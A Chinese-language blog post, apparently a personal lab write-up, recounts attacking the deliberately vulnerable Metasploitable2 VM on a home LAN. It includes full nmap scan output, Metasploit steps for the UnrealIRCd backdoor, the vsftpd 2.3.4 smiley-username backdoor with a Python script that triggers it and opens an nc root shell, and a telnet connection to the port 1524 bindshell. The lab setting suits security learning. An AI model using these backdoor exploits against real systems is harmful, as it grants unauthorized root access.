Metaspoitable2安全测试靶机の测试心得(上)

废话and前情提要

大家好，我又来写一些让人不知所云的东西了！
------------------------------------下划线-------------------------------------------

非常感谢大家对我上一篇文章的支持！ありがとうございます！

------------------------------------下划线-------------------------------------------
不过趁着这次放假，要不我再努努力，写点新把戏？
这次就不写破解了，写点啥？那来点渗透吧！
迅速进入正题！！

使用的things	name
靶机	metasploitable2
攻击者	我的kali
工具	metasploit，nmap，dirsearch…………

• 靶机描述：

• 靶机的账户和密码：msfadmin/msfadmin

启动！！

host	IPaddress
靶机	192.168.31.172
kali	192.168.31.16

以上是局域网内的IP地址

正式开始attack！

第一招：backdoor!

当然了我们还是得先用nmap扫一遍

cancanneed端口：

nmap --min-rate 10000 -sS -sV 192.168.31.172 

返回内容：

```map scan report for msf.cn (192.168.31.172)
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:95:15:CC (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

来点详细的：

nmap --min-rate 10000 -sS -sV -sC 192.168.31.172  (-sC是执行基本脚本扫描)

返回内容：

Nmap scan report for msf.cn (192.168.31.172)
Host is up (0.0026s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.31.16
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ssl-date: 2024-06-11T14:50:14+00:00; +7s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      34805/udp   mountd
|   100005  1,2,3      51580/tcp   mountd
|   100021  1,3,4      37617/tcp   nlockmgr
|   100021  1,3,4      46045/udp   nlockmgr
|   100024  1          46281/tcp   status
|_  100024  1          54588/udp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: LongColumnFlag, Support41Auth, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsCompression, Speaks41ProtocolNew, SupportsTransactions
|   Status: Autocommit
|_  Salt: '{V|/rqap0<|||wa`>Tl
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2024-06-11T14:50:14+00:00; +7s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 0:13:36
|   source ident: nmap
|   source host: D3A9493A.EDAFDF4B.FFFA6D49.IP
|_  error: Closing Link: doyprella[192.168.31.16] (Quit: doyprella)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:95:15:CC (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2024-06-11T10:50:05-04:00
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h00m07s, deviation: 2h00m00s, median: 6s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

现在分析一下，你可以得知什么？
两个大大的后门摆在你面前啊！！！
（指vsftpd2.3.4和Unrealircd）

第一个backdoor：unrealircd

现在打开metasploit！现在！

search点exploit：

search unreal ircd

直接开输！

use 0
show options
set rhost 192.168.31.172
show options
show payloads
set payload 6
set  lhost 192.168.31.16
set lport 4444
run

成功连接！还是root。

第二个后门：vsftpd2.3.4

说起来好笑，他们的开发商起这个名字的目的是为了彰显自家产品安全性（very security FTP），然后就让人插后门了。

这次我们就不用msf了。而是采用netcat。

（说起来还有一个好笑的点，它tm的允许匿名登录）

尝试ftp连接：

ftp 192.168.31.172

看到了没？这玩意突然卡了。但不是因为突然出问题了，而是触发了后门。然后就会在6200端口上给一个root连接。

触发后门的条件：在输入的username后面跟一个笑脸:)😃

然后连接：

nc 192.168.31.172 6200

我没事干还写了个自动程序：

from socket import *
import os

def main():
    ip='192.168.8.171'
    setdefaulttimeout(4)
    port=21
    tar=socket(AF_INET,SOCK_STREAM)
    tar.connect((ip,port))

    tar.send(b"USER qweewr:) \r\n \r\n")
    p=tar.recv(4096).decode()
    print(p)
    tar.send(b"PASS \r\n \r\n")
    p=tar.recv(4096).decode()
    print(p)
    os.system(f"nc {ip} 6200")
    print('[+]done!!')
if __name__ =="__main__":
    try:
        main()
    except:
        print('[-]Error!!')
        pass

ok!
这就是以上两个后门的用法！
先拜拜了，下次再写，我爸妈催我睡觉了

day2

我又跑回来更新辣！
其实昨天还有一个后门我没有说，先执行以下命令：

nmap -sV -p  1524 192.168.31.172
telnet 192.168.31.172 1524

然后就会返回一个连接。